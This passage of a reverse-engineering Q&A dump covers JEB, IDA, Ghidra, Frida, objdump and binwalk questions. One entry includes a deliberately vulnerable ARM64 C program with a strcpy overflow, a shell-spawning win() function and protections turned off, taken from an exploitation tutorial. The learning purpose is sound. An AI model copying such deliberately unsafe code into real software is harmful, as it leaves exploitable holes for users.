        "Body": "<p>I've downloaded JEB CE (community edition) and according to the <a href=\"https://www.pnfsoftware.com/jeb/#features-matrix\" rel=\"nofollow noreferrer\">feature matrix</a>, it supports both script and plugin functionality:</p>\n<p><a href=\"https://i.stack.imgur.com/Th6bK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Th6bK.png\" alt=\"enter image description here\" /></a></p>\n<p>I would like to know if there is any difference in the 2 and any advantage of using one over the other? In version 5.X+, there is a /coreplugins folder which shows plugins written in both Python and Java:</p>\n<p><a href=\"https://i.stack.imgur.com/iCuu7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iCuu7.png\" alt=\"enter image description here\" /></a></p>\n<p>A Java plugin :</p>\n<pre><code>import com.pnfsoftware.jeb.core.Version;\nimport com.pnfsoftware.jeb.core.units.code.asm.decompiler.ast.opt.AbstractCOptimizer;\n\n/**\n * A sample gendec AST optimizer plugin.\n * \n * @author Nicolas Falliere\n *\n */\npublic class COptSampleJava extends AbstractCOptimizer {\n\n    public COptSampleJava() {\n        super();\n    }\n\n    @Override\n    public int perform() {\n        logger.debug(&quot;COptSampleJava: the optimizer is running&quot;);\n        return 0;\n   }\n}\n</code></pre>\n<p>would look identical to the Python version</p>\n<pre><code>from com.pnfsoftware.jeb.core.units.code.asm.decompiler.ast.opt import AbstractCOptimizer\n\n'''\nSkeleton for an Java Abstract Syntax Tree (AST) optimizer plugin for gendec, JEB's generic decompiler.\nThis Python plugin is executed during the decompilation pipeline of a method.\n\nHow to use:\n- Drop this file in your JEB's coreplugins/scripts/ sub-directory\n- Make sure to have the setting `.LoadPythonPlugins = true` in your JEB's bin/jeb-engines.cfg file\n\nFor additional information regarding dexdec AST optimizer plugins, refer to:\n- the Manual (www.pnfsoftware.com/jeb/manual)\n- the API documentation: TODO\n'''\nclass COptSamplePython(AbstractCOptimizer):\n  # note: Python script optimizers are singleton instances!\n  # the engine will instantiate and provide a single instance for all decompilation threads\n  # therefore, if you are using object attributes, make sure to provide support for concurrency\n  # (this restriction does not apply to Java script optimizers, as well as full-blown jar optimizers;\n  # each decompilation thread has its own unique instance of such optimizer objects)\n  # for this reason (as well as others), moderately complex AST optimizers should be written in Java\n\n  def __init__(self):\n    self.logger.debug('COptSamplePython: instantiated')\n\n  def perform(self):\n    self.logger.debug('COptSamplePython: executed')\n\n    # if a value &gt;0 is returned, the decompiler will assume that AST is being transformed and this AST optimizer will be called again\n    return 0  # no optimization is performed\n</code></pre>\n<p>Can both languages be used for both plugin and script?</p>\n",
        "Title": "JEB Community Edition - Difference between Script vs Plugin?",
        "Tags": "|jeb|",
        "Answer": "<p>I found the answer <a href=\"https://www.pnfsoftware.com/jeb/manual/dev/introducing-jeb-extensions/#scripts-vs-plugins\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>Scripts...</p>\n<blockquote>\n<ul>\n<li>Implement IScript</li>\n</ul>\n<ol>\n<li>Example: modify some code, navigate somewhere, display some info,\netc.</li>\n</ol>\n</blockquote>\n<blockquote>\n<ul>\n<li>Are called by users to achieve small tasks</li>\n<li>Must be written in Python (they are run in a Jython VM)</li>\n</ul>\n<ol start=\"2\">\n<li>Ideal for rapid development and prototyping</li>\n</ol>\n</blockquote>\n<blockquote>\n<ul>\n<li>Are executed by JEB on-demand</li>\n</ul>\n<ol start=\"3\">\n<li>In the GUI client, can be executed via the File menu</li>\n</ol>\n</blockquote>\n<p>Plugins...</p>\n<blockquote>\n<ul>\n<li>Implement a specialized sub-type of IPlugin</li>\n<li>Can perform a variety of tasks, from input processing, disassembling, decompiling, adding functionality to other plugins,\nevent-triggered actions, etc.</li>\n<li>May be compiled as jar; some plugin types may be written as scripts (Java or Python)</li>\n</ul>\n</blockquote>\n<p>Hope this reference is useful too all who use this software package.</p>\n"
    },
    {
        "Id": "32479",
        "CreationDate": "2023-11-07T11:25:14.857",
        "Body": "<p>I'm trying to understand suffixes used for the AT&amp;T syntax for the x64 assembly used for instruction mnemonics.</p>\n<p>For regular cases:</p>\n<pre><code>'b',     // 8_bit\n'w',     // 16_bit\n'l',     // 32_bit\n'q',     // 64_bit\n't',     // 80_bit\n</code></pre>\n<p>Examples: Intel vs AT&amp;T:</p>\n<pre><code>inc word ptr [rbx]        incw   (%rbx)\ninc dword ptr [rbx]       incl   (%rbx)\ninc qword ptr [rbx]       incq   (%rbx)\n</code></pre>\n<p>But then for floating-point instructions, it's different:</p>\n<pre><code>L'b',     // 8_bit\nL'w',     // 16_bit\nL's',     // 32_bit\nL'l',     // 64_bit\nL't',     // 80_bit\n</code></pre>\n<p>If so, then why does the GCC compiler give me this:</p>\n<pre><code>fiadd word ptr [rcx]           fiadds (%rcx)\nfiadd dword ptr [rcx]          fiaddl (%rcx)\n</code></pre>\n<p>Can some confirm if I'm right, or correct me?</p>\n",
        "Title": "Mnemonic suffixes for x86-64 assembly for AT&T syntax",
        "Tags": "|assembly|x86-64|intel|",
        "Answer": "<p>Yes, you are right: <a href=\"https://en.wikibooks.org/wiki/X86_Assembly/GNU_assembly_syntax#Operation_Suffixes\" rel=\"nofollow noreferrer\">Operation suffixes</a> on wikibooks.</p>\n"
    },
    {
        "Id": "32487",
        "CreationDate": "2023-11-10T04:53:21.743",
        "Body": "<p>I Got IDA Pro license and for some reason ida.reg file from my home/.ida directory got deleted and now I just can't run ida and instead I get following displayed -</p>\n<p><a href=\"https://i.stack.imgur.com/ZA5Hj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZA5Hj.png\" alt=\"enter image description here\" /></a></p>\n<p>Is there any way to restore ida? Unfortunately, my support is expired.</p>\n",
        "Title": "My ida.reg file got deleted, is there any way to restore ida?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Fortunately it reappeared once I open ida64 in GUI mode!</p>\n"
    },
    {
        "Id": "32492",
        "CreationDate": "2023-11-10T18:20:02.113",
        "Body": "<p>I'm trying to exploit a buffer overflow vulnerability in an ARM64 program from <a href=\"https://ad2001.gitbook.io/a-noobs-guide-to-arm-exploitation/introduction-to-stack-buffer-overflows#redirecting-the-execution\" rel=\"nofollow noreferrer\">this blog</a>.\nWhen I give as input 100*'A', and I compile the program for ARM 32 bit (without canaries), the program crashes (as the return address is overwritten).\nBut, when I give as input 100*'A', and I compile the program for ARM 64 bit (without canaries), the program does not crash.\nWhy does it happen?\nCan someone explain?</p>\n<p>Here are some screenshots of the stack before and after the call for strcpy:</p>\n<p>32 bit:\n<a href=\"https://i.stack.imgur.com/gL6yz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gL6yz.png\" alt=\"enter image description here\" /></a>\n64 bit:\n<a href=\"https://i.stack.imgur.com/EpaXN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EpaXN.png\" alt=\"enter image description here\" /></a></p>\n<p>BTW I'm using QEMU to run the code on an Ubuntu VM 64 bit on an Intel CPU (also tried with Kali Linux 64 bit).</p>\n<p>Thanks.</p>\n<p>The code is:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n \nvoid vulnerable(char* ip) {\n    char buffer[20];\n    strcpy(buffer, ip);\n}\n \nvoid win(){\n    printf(&quot;You successfully exploited the buffer overflow\\n&quot;);\n    system(&quot;/bin/sh&quot;);\n}\n\nint main(int argc, char** argv) {\n    if (argc != 2) {\n        printf(&quot;Argument &lt;input&gt;\\n&quot;);\n        exit(1);\n    }\n    vulnerable(argv[1]);\n    exit(0);\n}\n</code></pre>\n<p>Compiled with:</p>\n<pre><code>aarch64-linux-gnu-gcc -O0 -fno-stack-protector -z execstack -o vuln64 ./vuln.c\n</code></pre>\n",
        "Title": "ARM64 Stack Layout - Why 100x'A' Doesn't Crash?",
        "Tags": "|disassembly|c|exploit|buffer-overflow|arm64|",
        "Answer": "<p>The return address has been placed below the buffer on the stack. I presume it's the 0x55000008e0 entry in your second screenshot. This means that you won't be able to overwrite the return address via the buffer overflow.</p>\n<p>See <a href=\"https://stackoverflow.com/questions/68774522/arm64-buffer-overflow-cannot-overwrite-pc\">https://stackoverflow.com/questions/68774522/arm64-buffer-overflow-cannot-overwrite-pc</a> for a more detailed explanation.</p>\n"
    },
    {
        "Id": "32500",
        "CreationDate": "2023-11-14T08:39:15.547",
        "Body": "<p><a href=\"https://hex-rays.com/blog/igors-tip-of-the-week-141-parsing-c-files/\" rel=\"nofollow noreferrer\">IDA has the ability to parse C header files</a> (by now a secondary option based on Clang also exists). It is useful to get structs and enums into your database via the Local Types view.</p>\n<p><strong>Question:</strong> <em>Aside</em> from the <code>CC_PARMS</code> setting in <code>ida.cfg</code> mentioned by Igor in the above article, is there a built-in preprocessor define that I can rely upon to accommodate IDA?</p>\n<p>I am looking for something like <code>__cplusplus</code> but for detecting IDA and perhaps even the IDA major version.</p>\n",
        "Title": "When parsing a C header file in IDA, is there a preprocessor symbol I can use to detect it?",
        "Tags": "|ida|",
        "Answer": "<p>From <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1165.shtml\" rel=\"nofollow noreferrer\">IDC: Predefined symbols</a> (emphasis mine):</p>\n<hr />\n<p>The following symbols are predefined in the IDC preprocessor:</p>\n<pre><code>  _NT_           IDA is running under MS Windows\n  _LINUX_        IDA is running under Linux\n  _MAC_          IDA is running under Mac OS X\n  _UNIX_         IDA is running under Unix (linux or mac)\n  _EA64_         64-bit version IDA\n  _QT_           GUI version of IDA (Qt)\n  _GUI           GUI version of IDA\n  _TXT_          Text version of IDA\n  _IDA_VERSION_  The current IDA version. For example: &quot;8.3&quot;\n  _IDAVER_       The current, numerical IDA version. For example: &quot;830&quot; means v8.3\n</code></pre>\n<p><strong>These symbols are also defined when parsing C header files.</strong></p>\n<hr />\n"
    },
    {
        "Id": "32505",
        "CreationDate": "2023-11-17T15:18:11.913",
        "Body": "<p>When trying to determine the filesystem of a firmware image using binwalk, I encountered a strange combination.\nThe binwalk is returning a lot of Unix paths, but some of them contain a typical windows-style registry.</p>\n<pre><code>3157752       0x302EF8        Unix path: /dev/ffd/DNL\n3159348       0x303534        Unix path: /dev/fgs/download\n3166204       0x304FFC        Unix path: /dev/rp_if/download\n3198300       0x30CD5C        Unix path: /dev/registry/LOCAL_MACHINE/SOFTWARE/BLAUPUNKT/PROCESS\n3201380       0x30D964        Unix path: /dev/registry/LOCAL_MACHINE/SOFTWARE/BLAUPUNKT/PROCESS/%s\n</code></pre>\n<p>Did you see anything like this before?\nWhat could the filesystem/operating system be?</p>\n",
        "Title": "Unix system with windows-style registry",
        "Tags": "|windows|linux|binwalk|",
        "Answer": "<p>This may be related to automotive. I had seen something like this in <a href=\"https://github.com/ea/bosch_headunit_root/blob/main/README.md\" rel=\"nofollow noreferrer\">this</a> repository, strings including /dev/registry/LOCAL_MACHINE/SOFTWARE/BLAUPUNKT are mentioned directly <a href=\"https://github.com/ea/bosch_headunit_root/blob/main/docs/rtos_interaction.md\" rel=\"nofollow noreferrer\">here</a>.\nUsing word &quot;registry&quot; here looks like a coincidence.<br />\n<a href=\"https://i.stack.imgur.com/Tjj1w.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Tjj1w.png\" alt=\"Explanation on libOSAL, OS abstraction layer\" /></a></p>\n"
    },
    {
        "Id": "32547",
        "CreationDate": "2023-12-05T13:05:18.283",
        "Body": "<p>First, sorry for my bad english.</p>\n<p>What I know about 0xCC instruction is a breakpoint instruction.</p>\n<p>But, when I see x64 binary, each functions are seperate by multiple 0xCC instructions.</p>\n<p>I think x64 uses 0xCC instructinon as not only breakpoint but also function's serperator.</p>\n<p>So, what 0xCC instruction means in this case? If this instruction are really means function's seperator, does it always placed between each function at least 1 single 0xCC instruction? (at least call in code section which is going to the function in code section)</p>\n<p>The reason why I ask this question is, I want to make my code to verifying every binary's call instruction automatically, but some call instruction pointing invalid function. (this invalid functions are made by packer)</p>\n<p>What I considering is, if every functions are seperate by 0xCC in x64 binary, (call_address - 1) must be 0xCC and this can be one of my verifying condition.</p>\n<p>I hope for your guide. thank you.</p>\n",
        "Title": "What is 0xCC between each functions?",
        "Tags": "|x86-64|packers|",
        "Answer": "<p>Compilers may align function addresses to some boundary as part of the optimization process.</p>\n<p>When doing this, the gap between functions is filled with padding bytes that might accidentally run as code, should something go wrong with the program's flow.</p>\n<p>Most common are <code>0xcc</code> for <em>debug</em> build binaries for easier debugging and <code>0x00</code> for <em>release</em> builds where a debugger is not expected to be attached.</p>\n"
    },
    {
        "Id": "32572",
        "CreationDate": "2023-12-14T10:15:51.130",
        "Body": "<p>I'd like to identify in Ghidra a specific sequence of instructions, which I get from MSVC Debug in Visual Studio compiling my own function:</p>\n<p><a href=\"https://i.stack.imgur.com/rMoq1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rMoq1.png\" alt=\"enter image description here\" /></a></p>\n<p>What I'm looking for so is (for the same DLL, decompiled in Ghidra) to intercept the sequence <code>movss/movss/movss/movss/lea/lea/lea</code>, in the hoping to intercept the C++ Clamp function I've defined:</p>\n<pre><code>template &lt;typename T&gt;\nT Clamp(const T&amp; min, const T&amp; max, const T&amp; value)\n{\n    if (value &lt; min)\n    {\n        return min;\n    }\n    else if (value &gt; max)\n    {\n        return max;\n    }\n    return value;\n}\n</code></pre>\n<p>What's the correct way to do this in Ghidra?</p>\n<p>If I try <em>Instruction Pattern Search</em> feature in Ghidra, inserting the first 4 movss of the sequence (selecting the instructions show in the VS Debugger, after enabling <em>Show Code Bytes</em>; i.e. in order <code>f3 0f 10/f3 0f 11/f3 0f 10/f3 0f 11</code>):</p>\n<p><a href=\"https://i.stack.imgur.com/IaKEU.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IaKEU.png\" alt=\"enter image description here\" /></a></p>\n<p>it doesn't return any hit.</p>\n<p>So, is this a mismatch from VS Code disassembly and the Listing elaborated by Ghidra, or am I searching in a wrong way?</p>\n",
        "Title": "How to search a sequence of instructions in Ghidra?",
        "Tags": "|c++|ghidra|msvc|",
        "Answer": "<p>I'll post an answer here with the conclusions we came to in the chat, in case anyone finds it useful in the future.</p>\n<p>There seems to be a limitation of the Instruction Pattern Search tool in that the patterns must contain a fixed amount of bytes. In the screenshot posted in the original post, the second and fourth pattern are looking for <code>movss [addr], xmm</code> instructions (operands encoded in 5 bytes, first operand is <code>00...101</code>), while the instructions that need to be found are <code>movss [reg+offs], xmm</code> (operands encoded in 3 bytes, first operand is <code>01...100</code>). To correct the patterns, one needs to find an appropriate instruction in code or insert the bytes manually into the tool and then unmask the operands (as far as Ghidra allows).</p>\n<p>Alternatively, one can also use the memory search ('S' hotkey or Search -&gt; Memory) and insert a pattern matching the instruction bytes. For this specific question, the pattern would be:</p>\n<blockquote>\n<p>f3 0f 10 ?? ?? ?? ?? ?? f3 0f 11 ?? ?? ?? f3 0f 10 ?? ?? ?? ?? ?? f3 0f 11 ?? ?? ??</p>\n</blockquote>\n<p>Ghidra also allows searching in a more dynamic manner via <a href=\"https://fossies.org/linux/ghidra/Ghidra/Features/Base/src/main/help/help/topics/Search/Regular_Expressions.htm\" rel=\"nofollow noreferrer\">regular expressions</a>. This would allow one to craft a regex pattern that matches against four consecutive movss instructions, regardless of their operands, but may make it more difficult to guard against false positives.</p>\n"
    },
    {
        "Id": "32592",
        "CreationDate": "2023-12-21T14:07:48.673",
        "Body": "<p>Let says my Program use this <code>FUN_180811be0</code> function, discovered by disassembling the code within Ghidra:</p>\n<p><a href=\"https://i.stack.imgur.com/zWeuT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zWeuT.png\" alt=\"enter image description here\" /></a></p>\n<p>Where do I locate the points of the program where this call is being called?</p>\n<p>If I search for funtions it just show to me it:</p>\n<p><a href=\"https://i.stack.imgur.com/dUZWs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dUZWs.png\" alt=\"enter image description here\" /></a></p>\n<p>I need to locate point of code where its being called; for example here, within the function <code>FUN_180606830</code>, I can see the call to <code>thunk_FUN_18051a380</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/pm8no.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pm8no.png\" alt=\"enter image description here\" /></a></p>\n<p>How can I find it starting from the target function?</p>\n",
        "Title": "How can I locate where a specific function is being called within the Program using Ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>The comments in green, XREFs, are all of the references to that function that Ghidra could identify. Start with those to find what you are looking for.</p>\n"
    },
    {
        "Id": "32629",
        "CreationDate": "2024-01-10T15:35:38.380",
        "Body": "<p>How to set breakpoint condition that checks certain address value, for example:\n0xD526C122 = FF.</p>\n<p>How can I make a counter that counts how many times breakpoint condition was met without actually breaking the program?</p>\n",
        "Title": "IDA breakpoint condition",
        "Tags": "|ida|breakpoint|",
        "Answer": "<p>You can modify breakpoint conditions from Debugger -&gt; Breakpoints -&gt; Breakpoint List, selecting a breakpoint that you wish to edit, and pressing Ctrl + E. IDA provides some information on modifying breakpoints (incl. conditions):</p>\n<ul>\n<li><a href=\"https://hex-rays.com//products/ida/support/idadoc/1407.shtml\" rel=\"nofollow noreferrer\">IDA Help: Edit breakpoints</a></li>\n<li><a href=\"https://hex-rays.com//products/ida/support/idadoc/1488.shtml\" rel=\"nofollow noreferrer\">IDA Help: Breakpoint conditions</a></li>\n</ul>\n<p>In your case, the condition would amount to <code>get_dword(0xD526C122) == 0xFF</code>.</p>\n<p>As for the counter, this has been asked before in <a href=\"https://reverseengineering.stackexchange.com/questions/8572/ida-pro-debugger-hit-counter\">this question</a>. Unfortunately, it doesn't seem that there's a native way to do this in IDA, but you can do it easily by using some IDC and breakpoint conditions, as the top comment points out. Do note that their answer doesn't work properly due to bad ordering of the brackets, so I'll post a working solution here:</p>\n<pre><code>extern bpcount;\nbpcount++;\nMessage(form(&quot;%d. hit\\n&quot;, bpcount));\nreturn (bpcount&gt;500);\n</code></pre>\n"
    },
    {
        "Id": "32637",
        "CreationDate": "2024-01-12T13:35:31.277",
        "Body": "<p>I'm new to programming and recently studying an ancient DOS assembly program written for 80186 and assembled with MASM. There are some .obj files that I want to open and take a look. I tried obj2asm.exe and IDA 5.0 (freeware version), but both programs could not deliver accurate results. As far as I know those .obj files are just lists of data indexes in format similar to below:</p>\n<p>IG  SEGMENT PUBLIC  'ROM'\nPUBLIC  INDEX1</p>\n<p>INDEX1      DB  000H,000H   ; A<br />\nDB  021H,000H   ; B<br />\nDB  06FH,020H   ; C<br />\n......\n......</p>\n<p>There are no assembly instruction in the .obj files.\nWhat should I do in order to accurately diassemble those .obj files? This DOS program is very important to my study and I'm desperate to get the correct files. Could anyone please give me some advice? Your kind assistance is very much appreciated! Thank you in advance!</p>\n",
        "Title": "how to diassemble an .obj file",
        "Tags": "|assembly|disassemblers|",
        "Answer": "<p>This obj (or omf) file is an assembled 8086 executable that should contain executable code (no headers).</p>\n<p>IDA Pro can disassemble it, but the free version won't.</p>\n<p>Ghidra can handle it.</p>\n<p>You may have to select the processor type manually and/or set the loading address (0x100).</p>\n"
    },
    {
        "Id": "32676",
        "CreationDate": "2024-01-29T04:41:50.730",
        "Body": "<p>can you tell me why objdump does not correctly disassemble the firmware for the C-SKY (ck803s) processor? what is .long: between the lines, unknown instructions? or am I setting the parameters for objdump incorrectly? here are mine: ./objdump -D -b binary -m csky:cs803 -EL firmware.bin</p>\n<p><a href=\"https://i.stack.imgur.com/HKxkC.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HKxkC.jpg\" alt=\"enter image description here\" /></a></p>\n<p>from off. sources use CK803S processor</p>\n<p><a href=\"https://i.stack.imgur.com/VpNPu.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VpNPu.jpg\" alt=\"enter image description here\" /></a></p>\n<p>this is how the bootloader works</p>\n<p><a href=\"https://i.stack.imgur.com/7UutO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7UutO.jpg\" alt=\"enter image description here\" /></a></p>\n<p>The firmware is launched from the specified address at offset 0x04, look at the dump merged from the flash drive</p>\n<p><a href=\"https://i.stack.imgur.com/dd0ov.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dd0ov.jpg\" alt=\"enter image description here\" /></a></p>\n<p>objdump output</p>\n<p><a href=\"https://i.stack.imgur.com/9l5dQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9l5dQ.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Firmware disassembler for c-sky processor (ck803s)",
        "Tags": "|firmware-analysis|",
        "Answer": "<p>The whole problem is that all versions of objdump and even llvm-objdump incorrectly disassemble 32-bit instructions of C-SKY processors, I managed to find a working objdump version 2.27 on the website <a href=\"https://www.xrvm.cn/\" rel=\"nofollow noreferrer\">https://www.xrvm.cn/</a> there is also an Eclipse-based IDE</p>\n<p><a href=\"https://i.stack.imgur.com/fZfAe.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fZfAe.jpg\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "32678",
        "CreationDate": "2024-01-30T02:09:04.820",
        "Body": "<p>so, I'm writing a script to automate analysis, and the code I'm working with is 64bit.</p>\n<p>the <strong>pointer size</strong> field shown here is the wrong one:</p>\n<p><a href=\"https://i.stack.imgur.com/WR3wr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WR3wr.png\" alt=\"enter image description here\" /></a></p>\n<p>I want to change it from within python to 64bit. I've searched the Idapython documentation and previously similar questions and could not find an answer</p>\n",
        "Title": "How to change default pointer size in IDA Pro",
        "Tags": "|ida|idapython|binary|compilers|",
        "Answer": "<p>As hinted by Ali, this info is stored in the global <code>inf</code> structure. It used to be an actual global variable accessible via the <code>idaapi.cvar</code> wrapper, but now you need to use the various getters/setters in the <a href=\"https://hex-rays.com//products/ida/support/idapython_docs/ida_ida.html\" rel=\"nofollow noreferrer\"><code>ida_ida</code> module</a>.</p>\n<p>While you can indeed go down that road and use <code>inf_get_cc</code>/<code>inf_set_cc</code> or <code>inf_set_cc_cm</code>, in case you only need to change the pointers to 64-bit, normally it should be enough to call <strong><code>inf_set_64bit(True)</code></strong>.</p>\n"
    },
    {
        "Id": "32679",
        "CreationDate": "2024-01-30T09:20:56.963",
        "Body": "<p>I'm new to reverse engineering and recently met with a problem:</p>\n<p>I have the dll and pdb of a debug version third party module, but I don't have its source codes. Now I want to write a piece of C++ code to test the stability and efficiency of the interfaces of the module, among which the functions are mainly unexported.</p>\n<p>So my question is that how can I find the address of an unexported function and correctly call it from C++ with DLL and PDB?</p>\n",
        "Title": "How to call unexported function in a third party DLL while having its PDB?",
        "Tags": "|c++|dll|functions|pdb|",
        "Answer": "<p>You have to:</p>\n<p>1.\nLoad the DLL into your process.\nIn runtime, Windows' <code>LoadLibrary</code> api, will load the DLL and return a handle, which is the base address for the loaded module.</p>\n<p>2.\nGet the address of the function you want to call from the <code>.pdb</code>, either manually or by using the provided pdb querying functions, as documented here:</p>\n<p><a href=\"https://learn.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiadatasource-loaddatafrompdb?view=vs-2022\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiadatasource-loaddatafrompdb?view=vs-2022</a></p>\n<p>3.\nCast the pointer to the the correct prototype and calling convention.</p>\n<p>There is some pretty good information in this post: <a href=\"https://copyprogramming.com/howto/pdb-find-calling-function-code-example#calling-a-non-exported-function-in-a-dll\" rel=\"nofollow noreferrer\">https://copyprogramming.com/howto/pdb-find-calling-function-code-example#calling-a-non-exported-function-in-a-dll</a></p>\n<p>Note that while calling a simple function only requires the correct prototype and calling convention, a C++ function may very well depend on objects that in turn may need to be allocated, initialized or constructed in some way for the call to succeed (and not crash the whole process).\nThe constructor(s) for these objects will likely (but not guaranteed to) be in the DLL.</p>\n<p><code>.pdb</code> files contain more debug information than mere function pointers. There should be more clues inside.</p>\n"
    },
    {
        "Id": "32682",
        "CreationDate": "2024-01-31T12:35:59.180",
        "Body": "<p>I tried to find out how <a href=\"https://developer.android.com/reference/java/lang/RuntimeException\" rel=\"nofollow noreferrer\">RuntimeException</a> works internally in <a href=\"https://cs.android.com/\" rel=\"nofollow noreferrer\">cs.android.com</a> so I can understand how to prevent crashes but didn't find anything useful and I have no clue how to analyze components-related JDK in perspective of reverse engineering, I'm curious what's going on behind <a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/RuntimeException.html\" rel=\"nofollow noreferrer\">RuntimeException</a> so I can prevent crashes</p>\n<p>I tried with this Frida script but no luck</p>\n<pre class=\"lang-js prettyprint-override\"><code>Java.perform(function() {\n    var RuntimeException = Java.use('java.lang.RuntimeException');\n    RuntimeException.$init.overload().implementation = function(){\n        console.log(&quot;hits .overload()&quot;)\n        return;\n    }\n    \n    RuntimeException.$init.overload('java.lang.String').implementation = function(arg1){\n        console.log(&quot;hits .overload('java.lang.String')&quot;)\n        return;\n    }\n    \n    RuntimeException.$init.overload('java.lang.Throwable').implementation = function(arg1){\n        console.log(&quot;hits .overload('java.lang.Throwable')&quot;)\n        return;\n    }\n    \n    RuntimeException.$init.overload('java.lang.String', 'java.lang.Throwable').implementation = function(arg1,arg2){\n        console.log(&quot;hits .overload('java.lang.String', 'java.lang.Throwable')&quot;)\n        return;\n    }\n    \n    RuntimeException.$init.overload('java.lang.String', 'java.lang.Throwable', 'boolean', 'boolean').implementation = function(arg1,arg2,arg3,arg4){\n        console.log(&quot;hits .overload('java.lang.String', 'java.lang.Throwable', 'boolean', 'boolean')&quot;)\n        return;\n    }\n    \n})\n</code></pre>\n",
        "Title": "How to hook RuntimeException to prevent crashes?",
        "Tags": "|android|java|frida|exception|",
        "Answer": "<p><code>RuntimeException</code> is an Exception class like all the others, the only difference is that developers are not forced to catch <code>RuntimeException</code> and its child classes. And there is no special relation between <code>RuntimeException</code> and &quot;native calls&quot; (JNI calls).</p>\n<p>Your problems are independent of the <code>RuntimeException</code> instead they are located in your Frida hooking code:</p>\n<p>When hooking an Java/Android method (or constructor) the Frida hook replaces the original function. So if you just want to log method/constructor calls you always have to manually execute the original method inside the hook.</p>\n<p>At the moment you don't call the original constructor of <code>RuntimeException</code> and return nothing, which means if Android tries to create an instance of <code>RuntimeException</code> no exception instance is created. This can never happen in compiled Java code and in the end the app crashes.</p>\n<p>Therefore you have to modify your hooking code to call the original constructor and return the created <code>RuntimeException</code> instance:</p>\n<pre><code>let RuntimeException = Java.use('java.lang.RuntimeException');\nlet RTctor1 = RuntimeException.$init.overload();\nRTctor1.implementation = function() {\n    console.log(&quot;hits .overload()&quot;);\n    return RTctor1.call(this);\n}\nlet RTctor2 = RuntimeException.$init.overload('java.lang.String');\nRTctor2.implementation = function(arg0) {\n    console.log(&quot;hits .overload('java.lang.String')&quot;);\n    return RTctor2.call(this, arg0);\n}\n...\n</code></pre>\n"
    },
    {
        "Id": "32708",
        "CreationDate": "2024-02-06T23:53:51.377",
        "Body": "<p>I've seen this multiple times, through various apps and snooping of hex values. Character strings but every other value is actually a null byte. This particular example is with API Monitor, but I'm almost positive I've seen it through hexdumps of Windows or DOS executables.</p>\n<p><a href=\"https://i.stack.imgur.com/aNwb4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aNwb4.png\" alt=\"CreateFileW\" /></a>\n<a href=\"https://i.stack.imgur.com/C4TPQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/C4TPQ.png\" alt=\"Raw data\" /></a></p>\n<p>My first thought might be Unicode or some other sort of wide character standard. But Unicode formats (especially Uni16) are variable width.</p>\n",
        "Title": "Why are these strings padded every other byte?",
        "Tags": "|disassembly|windows|executable|",
        "Answer": "<p>This is most likely a &quot;wide character&quot;, <code>wchar_t[]</code> type.</p>\n<p>These are always 16 bits long and they are used to allow international characters and symbols that are at most 16 bit long, that is, the UTF-16 range.</p>\n<p>The fixed length allows faster processing than multibyte unicode.</p>\n<p>ASCII characters that could be encoded as 1 byte in multibyte unicode take up 2 bytes in widechar, which &quot;wastes&quot; an extra byte that is always null.</p>\n"
    },
    {
        "Id": "32714",
        "CreationDate": "2024-02-08T17:51:08.280",
        "Body": "<p>I want to capture packets from Android apps. I need an packets forwarder on phone that creates a VPN to redirect all TCP packets to PC, then capture them with 'mitmproxy'. I want to use mitmproxy because it supports python addons, and it's free/opensource.</p>\n<p>But I can't find a suitable packet forwarder. Here are what I've tried so far:</p>\n<ul>\n<li>Postern: sometimes it causes DNS error, I can't ping sites when it's enabled, unable to modify DNS server in settings, project abandoned.</li>\n<li>ProxyDroid: fails to resolve dns somehow</li>\n<li>TunProxy: http only, not support tcp</li>\n<li>burp, http_toolkit: non-free, not possible to save packets without paying</li>\n<li>HttpCanary/Reqable/PacketCapture/PCapDroid: doesn't collaborate with other apps like mitmproxy</li>\n</ul>\n<p>Any suggestion?</p>\n",
        "Title": "Looking for a packet forwarder on Android that redirects all packets to PC",
        "Tags": "|android|packet|",
